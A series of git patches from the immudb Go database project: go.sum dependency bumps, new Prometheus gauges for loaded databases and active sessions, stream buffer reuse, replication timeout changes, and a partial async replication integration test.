h1:dyJXwwfPK2VSqiB9Klm1J6romD608Ba7Hij42vrOBCo= github.com/envoyproxy/protoc-gen-validate v0.9.1/go.mod h1:OKNgG7TCp5pF4d6XftA0++PMirau2/yoOwVac3AbF2w= -github.com/envoyproxy/protoc-gen-validate v0.10.0 h1:oIfnZFdC0YhpNNEX+SuIqko4cqqVZeN9IGTrhZje83Y= github.com/envoyproxy/protoc-gen-validate v0.10.0/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= +github.com/envoyproxy/protoc-gen-validate v0.10.1 h1:c0g45+xCJhdgFGw7a5QAfdS4byAbud7miNWJ1WwEVf8= +github.com/envoyproxy/protoc-gen-validate v0.10.1/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= @@ -1259,6 +1263,8 @@ github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.8.3 h1:RP3t2pwF7cMEbC1dqtB6poj3niw/9gnV4Cjg5oW5gtY= +github.com/stretchr/testify v1.8.3/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/subosito/gotenv v1.4.2 h1:X1TuBLAMDFbaTAChgCBLu3DU3UPyELpnF2jjJ2cz/S8= github.com/subosito/gotenv v1.4.2/go.mod h1:ayKnFf/c6rvx/2iiLrJUk1e6plDbT3edrFNGqEflhK0= @@ -1458,6 +1464,7 @@ golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= +golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.12.0 h1:cfawfvKITfUsFCeJIHJrbSxpeu/E81khclypR0GVT50= golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA= @@ -1489,6 +1496,7 @@ golang.org/x/oauth2 v0.0.0-20221014153046-6fdb5e3db783/go.mod h1:h4gKUeWbJ4rQPri golang.org/x/oauth2 v0.4.0/go.mod h1:RznEsdpjGAINPTOF0UH/t+xJ75L18YO3Ho6Pyn+uRec= golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= golang.org/x/oauth2 v0.6.0/go.mod h1:ycmewcwgD4Rpr3eZJLSB4Kyyljb3qDh40vJ8STE5HKw= +golang.org/x/oauth2 v0.7.0/go.mod h1:hPLQkd9LyjfXTiRohC/41GhcFqxisoUQ99sCUOHO9x4= golang.org/x/oauth2 v0.8.0/go.mod h1:yr7u4HXZRm1R1kBWqr/xKNqewf0plRYoB7sla+BCIXE= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -1609,6 +1617,7 @@ golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA= golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -1620,6 +1629,7 @@ golang.org/x/term v0.3.0/go.mod h1:q750SLmJuPmVoN1blW3UFBPREJfb1KmY3vwxfr+nFDA= golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= +golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.10.0 h1:3R7pNqamzBraeqj/Tj8qt1aQ2HpmlC+Cx/qL/7hn4/c= golang.org/x/term v0.10.0/go.mod h1:lpqdcUyK/oCiQxvxVrppt5ggO2KCZ5QblwqPnfZ6d5o= @@ -1937,6 +1947,7 @@ google.golang.org/genproto v0.0.0-20230320184635-7606e756e683/go.mod h1:NWraEVix google.golang.org/genproto v0.0.0-20230323212658-478b75c54725/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= google.golang.org/genproto v0.0.0-20230330154414-c0448cd141ea/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= google.golang.org/genproto v0.0.0-20230331144136-dcfb400f0633/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230410155749-daa745c078e1/go.mod h1:nKE/iIaLqn2bQwXBg8f1g2Ylh6r5MN5CmZvuzZCgsCU= google.golang.org/genproto v0.0.0-20230525234025-438c736192d0/go.mod h1:9ExIQyXL5hZrHzQceCwuSYwZZ5QZBazOcprJ5rgs3lY= google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e h1:Ao9GzfUMPH3zjVfzXG5rlWlk+Q8MXWKwWpwVQE1MXfw= google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:zqTuNwFlFRsw5zIts5VnzLQxSRqh+CGOTVMlYbY0Eyk= @@ -1988,10 +1999,12 @@ google.golang.org/grpc v1.50.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCD google.golang.org/grpc v1.50.1/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= google.golang.org/grpc v1.51.0/go.mod h1:wgNDFcnuBGmxLKI/qn4T+m5BtEBYXJPvibbUPsAIPww= google.golang.org/grpc v1.52.0/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5vorUY= +google.golang.org/grpc v1.52.3/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5vorUY= google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw= google.golang.org/grpc v1.54.0/go.mod h1:PUSEXI6iWghWaB6lXM4knEgpJNu2qUcKfDtNci3EC2g= -google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag= google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8= +google.golang.org/grpc v1.56.2 h1:fVRFRnXvU+x6C4IlHZewvJOVHoOv1TUuQyoRsYnB4bI= +google.golang.org/grpc v1.56.2/go.mod h1:I9bI3vqKfayGqPUAwGdOSu7kt6oIJLixfffKrpXqQ9s= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 h1:M1YKkFIboKNieVO5DLUEVzQfGwJD30Nv2jfUgzb5UcE= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= From e8fa19fd50477aeb9d425bb7bbd06b0aaa510206 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 20 Jul 2023 14:24:33 +0200 Subject: [PATCH 0694/1062] Added metrics for number of databases and sessions --- pkg/server/metrics.go | 40 ++++++++++++++++++++++++++++++++ pkg/server/metrics_funcs.go | 8 +++++++ pkg/server/metrics_funcs_test.go | 25 ++++++++++++++++++++ pkg/server/metrics_test.go | 4 ++++ pkg/server/server.go | 3 ++- 5 files changed, 79 insertions(+), 1 deletion(-) diff --git a/pkg/server/metrics.go b/pkg/server/metrics.go index 6fc9134d06..a04cea1254 100644 --- a/pkg/server/metrics.go +++ b/pkg/server/metrics.go @@ -59,6 +59,12 @@ type MetricsCollection struct { LastMessageAtPerClientGauges *prometheus.GaugeVec RemoteStorageKind *prometheus.GaugeVec + + computeLoadedDBSize func() float64 + LoadedDatabases prometheus.Gauge + + computeSessionCount func() float64 + ActiveSessions prometheus.Gauge } var metricsNamespace = "immudb" @@ -97,6 +103,16 @@ func (mc *MetricsCollection) WithComputeDBEntries(f func() map[string]float64) { mc.computeDBEntries = f } +// WithLoadedDBSize ... +func (mc *MetricsCollection) WithLoadedDBSize(f func() float64) { + mc.computeLoadedDBSize = f +} + +// WithLoadedDBSize ... +func (mc *MetricsCollection) WithComputeSessionCount(f func() float64) { + mc.computeSessionCount = f +} + // UpdateDBMetrics ... func (mc *MetricsCollection) UpdateDBMetrics() { if mc.computeDBSizes != nil { @@ -109,6 +125,12 @@ func (mc *MetricsCollection) UpdateDBMetrics() { mc.DBEntriesGauges.WithLabelValues(db).Set(nbEntries) } } + if mc.computeLoadedDBSize != nil { + mc.LoadedDatabases.Set(mc.computeLoadedDBSize()) + } + if mc.computeSessionCount != nil { + mc.ActiveSessions.Set(mc.computeSessionCount()) + } } // Metrics immudb Prometheus metrics collection @@ -153,6 +175,20 @@ var Metrics = MetricsCollection{ }, []string{"db", "kind"}, ), + LoadedDatabases: promauto.NewGauge( + prometheus.GaugeOpts{ + Namespace: metricsNamespace, + Name: "loaded_databases", + Help: "Numer of loaded databases", + }, + ), + ActiveSessions: promauto.NewGauge( + prometheus.GaugeOpts{ + Namespace: metricsNamespace, + Name: "active_sessions", + Help: "Numer of active sessions", + }, + ), } // StartMetrics listens and servers the HTTP metrics server in a new goroutine. @@ -164,12 +200,16 @@ func StartMetrics( uptimeCounter func() float64, computeDBSizes func() map[string]float64, computeDBEntries func() map[string]float64, + computeLoadedDBSize func() float64, + computeSessionCount func() float64, addPProf bool, ) *http.Server { Metrics.WithUptimeCounter(uptimeCounter) Metrics.WithComputeDBSizes(computeDBSizes) Metrics.WithComputeDBEntries(computeDBEntries) + Metrics.WithLoadedDBSize(computeLoadedDBSize) + Metrics.WithComputeSessionCount(computeSessionCount) go func() { Metrics.UpdateDBMetrics() diff --git a/pkg/server/metrics_funcs.go b/pkg/server/metrics_funcs.go index 3ed6922831..79ec73067d 100644 --- a/pkg/server/metrics_funcs.go +++ b/pkg/server/metrics_funcs.go @@ -136,3 +136,11 @@ func (s *ImmuServer) metricFuncComputeDBEntries() (nbEntriesPerDB map[string]flo return } + +func (s *ImmuServer) metricFuncComputeLoadedDBSize() float64 { + return float64(s.dbList.Length()) +} + +func (s *ImmuServer) metricFuncComputeSessionCount() float64 { + return float64(s.SessManager.SessionCount()) +} diff --git a/pkg/server/metrics_funcs_test.go b/pkg/server/metrics_funcs_test.go index 99f62e267d..8a23987a1e 100644 --- a/pkg/server/metrics_funcs_test.go +++ b/pkg/server/metrics_funcs_test.go @@ -175,3 +175,28 @@ func TestMetricFuncComputeDBSizes(t *testing.T) { s.sysDB = nil s.metricFuncComputeDBSizes() } + +func TestMetricFuncComputeLoadedDBSize(t *testing.T) { + dbList := database.NewDatabaseList() + dbList.Put(dbMock{ + getNameF: func() string { + return "defaultdb" + }, + getOptionsF: func() *database.Options { + return database.DefaultOption() + }, + }) + + s := ImmuServer{ + Options: &Options{ + defaultDBName: "defaultdb", + }, + dbList: dbList, + sysDB: dbMock{ + getOptionsF: func() *database.Options { + return database.DefaultOption() + }, + }, + } + require.Equal(t,s.metricFuncComputeLoadedDBSize(),1) +} diff --git a/pkg/server/metrics_test.go b/pkg/server/metrics_test.go index f9f55e2053..ea7fba2f89 100644 --- a/pkg/server/metrics_test.go +++ b/pkg/server/metrics_test.go @@ -39,6 +39,8 @@ func TestStartMetrics(t *testing.T) { func() float64 { return 0 }, func() map[string]float64 { return make(map[string]float64) }, func() map[string]float64 { return make(map[string]float64) }, + func() float64 { return 1.0 }, + func() float64 { return 2.0 }, false, ) time.Sleep(200 * time.Millisecond) @@ -59,6 +61,8 @@ func TestStartMetricsFail(t *testing.T) { func() float64 { return 0 }, func() map[string]float64 { return make(map[string]float64) }, func() map[string]float64 { return make(map[string]float64) }, + func() float64 { return 1.0 }, + func() float64 { return 2.0 }, false, ) time.Sleep(200 * time.Millisecond) diff --git a/pkg/server/server.go b/pkg/server/server.go index 869d4fb105..26e79a9a13 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -270,7 +270,8 @@ func (s *ImmuServer) Start() (err error) { if s.Options.MetricsServer { s.metricsServer = StartMetrics(1*time.Minute, s.Options.MetricsBind(), s.Logger, s.metricFuncServerUptimeCounter, - s.metricFuncComputeDBSizes, s.metricFuncComputeDBEntries, s.Options.PProf) + s.metricFuncComputeDBSizes, s.metricFuncComputeDBEntries, s.metricFuncComputeLoadedDBSize, s.metricFuncComputeSessionCount, + s.Options.PProf) defer func() { if err := s.metricsServer.Close(); err != nil { s.Logger.Errorf("Failed to shutdown metric server: %s", err) From 072eda2ec7d0fba80f541f5f0f22bbe4e7c07b0a Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 20 Jul 2023 16:11:23 +0200 Subject: [PATCH 0695/1062] Metrics are floating point --- pkg/server/metrics_funcs_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/server/metrics_funcs_test.go b/pkg/server/metrics_funcs_test.go index 8a23987a1e..2c2cfbdde9 100644 --- a/pkg/server/metrics_funcs_test.go +++ b/pkg/server/metrics_funcs_test.go @@ -198,5 +198,5 @@ func TestMetricFuncComputeLoadedDBSize(t *testing.T) { }, }, } - require.Equal(t,s.metricFuncComputeLoadedDBSize(),1) + require.Equal(t,s.metricFuncComputeLoadedDBSize(),1.0) } From 8e063336f8d8863425302bd307fd1e61ad63bf23 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 20 Jul 2023 16:37:22 +0200 Subject: [PATCH 0696/1062] Added test case for nil session manager --- pkg/server/metrics_funcs.go | 5 +++++ pkg/server/metrics_funcs_test.go | 1 + 2 files changed, 6 insertions(+) diff --git a/pkg/server/metrics_funcs.go b/pkg/server/metrics_funcs.go index 79ec73067d..c8274c1221 100644 --- a/pkg/server/metrics_funcs.go +++ b/pkg/server/metrics_funcs.go @@ -142,5 +142,10 @@ func (s *ImmuServer) metricFuncComputeLoadedDBSize() float64 { } func (s *ImmuServer) metricFuncComputeSessionCount() float64 { + if s.SessManager == nil { + s.Logger.Warningf( + "current update of session count is skipped: no session manager") + return 0.0 + } return float64(s.SessManager.SessionCount()) } diff --git a/pkg/server/metrics_funcs_test.go b/pkg/server/metrics_funcs_test.go index 2c2cfbdde9..6c84593f5f 100644 --- a/pkg/server/metrics_funcs_test.go +++ b/pkg/server/metrics_funcs_test.go @@ -199,4 +199,5 @@ func TestMetricFuncComputeLoadedDBSize(t *testing.T) { }, } require.Equal(t,s.metricFuncComputeLoadedDBSize(),1.0) + require.Equal(t,s.metricFuncComputeSessionCount(),0.0) } From 6e4f3f17838ab2b92389c816582fc9da974b69a6 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 20 Jul 2023 16:40:06 +0200 Subject: [PATCH 0697/1062] Added logger in metric test --- pkg/server/metrics_funcs_test.go | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/pkg/server/metrics_funcs_test.go b/pkg/server/metrics_funcs_test.go index 6c84593f5f..4d05569bae 100644 --- a/pkg/server/metrics_funcs_test.go +++ b/pkg/server/metrics_funcs_test.go @@ -186,7 +186,7 @@ func TestMetricFuncComputeLoadedDBSize(t *testing.T) { return database.DefaultOption() }, }) - + var sw strings.Builder s := ImmuServer{ Options: &Options{ defaultDBName: "defaultdb", @@ -197,6 +197,10 @@ func TestMetricFuncComputeLoadedDBSize(t *testing.T) { return database.DefaultOption() }, }, + Logger: logger.NewSimpleLoggerWithLevel( + "TestMetricFuncComputeDBSizes", + &sw, + logger.LogError), } require.Equal(t,s.metricFuncComputeLoadedDBSize(),1.0) require.Equal(t,s.metricFuncComputeSessionCount(),0.0) From 7171c4120493efeb56d3b65117ce7d1ef4b62a51 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 24 Jul 2023 10:03:58 -0300 Subject: [PATCH 0698/1062] fix(pkg/server): buffer reuse Signed-off-by: Jeronimo Irazabal --- pkg/server/stream_replication.go | 18 ++++++++---------- pkg/stream/factory.go | 2 +- pkg/stream/kvsender_test.go | 2 +- pkg/stream/sender.go | 4 ++-- pkg/stream/sender_test.go | 18 +++++++++--------- 5 files changed, 21 insertions(+), 23 deletions(-) diff --git a/pkg/server/stream_replication.go b/pkg/server/stream_replication.go index 2d612198f3..6a52c92733 100644 --- a/pkg/server/stream_replication.go +++ b/pkg/server/stream_replication.go @@ -22,29 +22,32 @@ import ( "strconv" "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/stream" "google.golang.org/grpc/metadata" ) func (s *ImmuServer) ExportTx(req *schema.ExportTxRequest, txsServer schema.ImmuService_ExportTxServer) error { - return s.exportTx(req, txsServer, true) + return s.exportTx(req, txsServer, true, make([]byte, s.Options.StreamChunkSize)) } // StreamExportTx implements the bidirectional streaming endpoint used to export transactions func (s *ImmuServer) StreamExportTx(stream schema.ImmuService_StreamExportTxServer) error { + buf := make([]byte, s.Options.StreamChunkSize) + for { req, err := stream.Recv() if err != nil { return err } - err = s.exportTx(req, stream, false) + err = s.exportTx(req, stream, false, buf) if err != nil { return err } } } -func (s *ImmuServer) exportTx(req *schema.ExportTxRequest, txsServer schema.ImmuService_ExportTxServer, setTrailer bool) error { +func (s *ImmuServer) exportTx(req *schema.ExportTxRequest, txsServer schema.ImmuService_ExportTxServer, setTrailer bool, buf []byte) error { if req == nil || req.Tx == 0 || txsServer == nil { return ErrIllegalArguments } @@ -90,14 +93,9 @@ func (s *ImmuServer) exportTx(req *schema.ExportTxRequest, txsServer schema.Immu } } - sender := s.StreamServiceFactory.NewMsgSender(txsServer) - - err = sender.Send(bytes.NewReader(txbs), len(txbs), streamMetadata) - if err != nil { - return err - } + sender := stream.NewMsgSender(txsServer, buf) - return nil + return sender.Send(bytes.NewReader(txbs), len(txbs), streamMetadata) } func (s *ImmuServer) ReplicateTx(replicateTxServer schema.ImmuService_ReplicateTxServer) error { diff --git a/pkg/stream/factory.go b/pkg/stream/factory.go index 8445f6e7de..0fb1c5bed0 100644 --- a/pkg/stream/factory.go +++ b/pkg/stream/factory.go @@ -46,7 +46,7 @@ func NewStreamServiceFactory(chunkSize int) ServiceFactory { // NewMsgSender returns a MsgSender func (s *serviceFactory) NewMsgSender(str ImmuServiceSender_Stream) MsgSender { - return NewMsgSender(str, s.ChunkSize) + return NewMsgSender(str, make([]byte, s.ChunkSize)) } // NewMsgReceiver returns a MsgReceiver diff --git a/pkg/stream/kvsender_test.go b/pkg/stream/kvsender_test.go index 956e76343e..42888ddc67 100644 --- a/pkg/stream/kvsender_test.go +++ b/pkg/stream/kvsender_test.go @@ -26,7 +26,7 @@ import ( func TestNewKvStreamSender(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() - s := NewMsgSender(sm, 4096) + s := NewMsgSender(sm, make([]byte, 4096)) kvss := NewKvStreamSender(s) require.IsType(t, &kvStreamSender{}, kvss) } diff --git a/pkg/stream/sender.go b/pkg/stream/sender.go index f7bb87dd10..dc8c5c56cc 100644 --- a/pkg/stream/sender.go +++ b/pkg/stream/sender.go @@ -35,10 +35,10 @@ type msgSender struct { } // NewMsgSender returns a NewMsgSender. It can be used on server side or client side to send a message on a stream. -func NewMsgSender(s ImmuServiceSender_Stream, chunkSize int) *msgSender { +func NewMsgSender(s ImmuServiceSender_Stream, buf []byte) *msgSender { return &msgSender{ stream: s, - buf: make([]byte, chunkSize), + buf: buf, chunk: &schema.Chunk{}, } } diff --git a/pkg/stream/sender_test.go b/pkg/stream/sender_test.go index ae5af960bc..ca3eb472ad 100644 --- a/pkg/stream/sender_test.go +++ b/pkg/stream/sender_test.go @@ -27,13 +27,13 @@ import ( func TestNewMsgSender(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() - s := NewMsgSender(sm, 4096) + s := NewMsgSender(sm, make([]byte, 4096)) require.IsType(t, new(msgSender), s) } func TestMsgSender_Send(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() - s := NewMsgSender(sm, 4096) + s := NewMsgSender(sm, make([]byte, 4096)) content := []byte(`mycontent`) message := bytes.Join([][]byte{streamtest.GetTrailer(len(content)), content}, nil) @@ -44,7 +44,7 @@ func TestMsgSender_Send(t *testing.T) { func TestMsgSender_SendPayloadSizeZero(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() - s := NewMsgSender(sm, 4096) + s := NewMsgSender(sm, make([]byte, 4096)) b := bytes.NewBuffer(nil) err := s.Send(b, 0, nil) require.NoError(t, err) @@ -52,7 +52,7 @@ func TestMsgSender_SendPayloadSizeZero(t *testing.T) { func TestMsgSender_SendErrReader(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() - s := NewMsgSender(sm, 4096) + s := NewMsgSender(sm, make([]byte, 4096)) r := &streamtest.ErrReader{ ReadF: func([]byte) (int, error) { return 0, errCustom @@ -64,7 +64,7 @@ func TestMsgSender_SendErrReader(t *testing.T) { func TestMsgSender_SendEmptyReader(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() - s := NewMsgSender(sm, 4096) + s := NewMsgSender(sm, make([]byte, 4096)) r := &streamtest.ErrReader{ ReadF: func([]byte) (int, error) { return 0, io.EOF @@ -76,7 +76,7 @@ func TestMsgSender_SendEmptyReader(t *testing.T) { func TestMsgSender_SendEErrNotEnoughDataOnStream(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() - s := NewMsgSender(sm, 4096) + s := NewMsgSender(sm, make([]byte, 4096)) content := []byte(`mycontent`) message := streamtest.GetTrailer(len(content)) @@ -87,7 +87,7 @@ func TestMsgSender_SendEErrNotEnoughDataOnStream(t *testing.T) { func TestMsgSender_SendLastChunk(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() - s := NewMsgSender(sm, 4096) + s := NewMsgSender(sm, make([]byte, 4096)) content := []byte(`mycontent`) b := bytes.NewBuffer(content) @@ -97,7 +97,7 @@ func TestMsgSender_SendLastChunk(t *testing.T) { func TestMsgSender_SendMultipleChunks(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() - s := NewMsgSender(sm, 8) + s := NewMsgSender(sm, make([]byte, 8)) content := []byte(`mycontent`) b := bytes.NewBuffer(content) @@ -107,7 +107,7 @@ func TestMsgSender_SendMultipleChunks(t *testing.T) { func TestMsgSender_RecvMsg(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() - s := NewMsgSender(sm, 4096) + s := NewMsgSender(sm, make([]byte, 4096)) err := s.RecvMsg(nil) require.NoError(t, err) } From ebfe773a51dfe3ff09e561cb9322354686077e5a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 24 Jul 2023 10:27:52 -0300 Subject: [PATCH 0699/1062] chore(pkg/database): increase delay when tx is not present Signed-off-by: Jeronimo Irazabal --- pkg/database/database.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/database/database.go b/pkg/database/database.go index d7b2b0d55f..8edb005a9a 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -1259,7 +1259,7 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb // TODO: under some circumstances, replica might not be able to do further progress until primary // has made changes, such wait doesn't need to have a timeout, reducing networking and CPU utilization - ctx, cancel := context.WithTimeout(ctx, d.options.storeOpts.SyncFrequency*4) + ctx, cancel := context.WithTimeout(ctx, d.options.storeOpts.SyncFrequency*8) defer cancel() err = d.WaitForTx(ctx, req.Tx, req.AllowPreCommitted) From e378d28099346058afbb12d1b8360f9ccbfd26c1 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 24 Jul 2023 10:40:04 -0300 Subject: [PATCH 0700/1062] chore(pkg/database): mandatory wait with async replication Signed-off-by: Jeronimo Irazabal --- pkg/database/database.go | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/pkg/database/database.go b/pkg/database/database.go index 8edb005a9a..3e8b2bafa8 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -1259,8 +1259,12 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb // TODO: under some circumstances, replica might not be able to do further progress until primary // has made changes, such wait doesn't need to have a timeout, reducing networking and CPU utilization - ctx, cancel := context.WithTimeout(ctx, d.options.storeOpts.SyncFrequency*8) - defer cancel() + var cancel context.CancelFunc + + if req.ReplicaState != nil { + ctx, cancel = context.WithTimeout(ctx, d.options.storeOpts.SyncFrequency*4) + defer cancel() + } err = d.WaitForTx(ctx, req.Tx, req.AllowPreCommitted) if ctx.Err() != nil { From 28d449ba8d7d242d971530f76b5eec374cfec5ad Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 24 Jul 2023 10:52:03 -0300 Subject: [PATCH 0701/1062] test(pkg/integration): async replication test Signed-off-by: Jeronimo Irazabal --- pkg/integration/follower_replication_test.go | 143 +++++++++++++++++++ 1 file changed, 143 insertions(+) diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index 03dacd85df..8a4f70f73b 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -19,6 +19,7 @@ package integration import ( "context" "encoding/binary" + "fmt" "net" "strings" "sync" @@ -224,6 +225,148 @@ func TestReplication(t *testing.T) { replicaServer.Stop() } +func TestAsyncReplication(t *testing.T) { + //init primary server + primaryDir := t.TempDir() + + primaryServerOpts := server.DefaultOptions(). + WithMetricsServer(true). + WithWebServer(false). + WithPgsqlServer(false). + WithPort(0). + WithPProf(true). + WithDir(primaryDir) + + primaryServer := server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer) + + err := primaryServer.Initialize() + require.NoError(t, err) + + //init replica server + replicaDir := t.TempDir() + + replicaServerOpts := server.DefaultOptions(). + WithMetricsServer(false). + WithWebServer(false). + WithPgsqlServer(false). + WithPort(0). + WithDir(replicaDir) + + replicaServer := server.DefaultServer().WithOptions(replicaServerOpts).(*server.ImmuServer) + + err = replicaServer.Initialize() + require.NoError(t, err) + + go func() { + primaryServer.Start() + }() + + go func() { + replicaServer.Start() + }() + + time.Sleep(1 * time.Second) + + // init primary client + primaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port + + primaryOpts := ic.DefaultOptions(). + WithDir(t.TempDir()). + WithPort(primaryPort) + + primaryClient := ic.NewClient().WithOptions(primaryOpts) + require.NoError(t, err) + + err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + require.NoError(t, err) + + // create database as primarydb in primary server + _, err = primaryClient.CreateDatabaseV2(context.Background(), "primarydb", &schema.DatabaseNullableSettings{ + ReplicationSettings: &schema.ReplicationNullableSettings{ + SyncReplication: &schema.NullableBool{Value: false}, + SyncAcks: &schema.NullableUint32{Value: 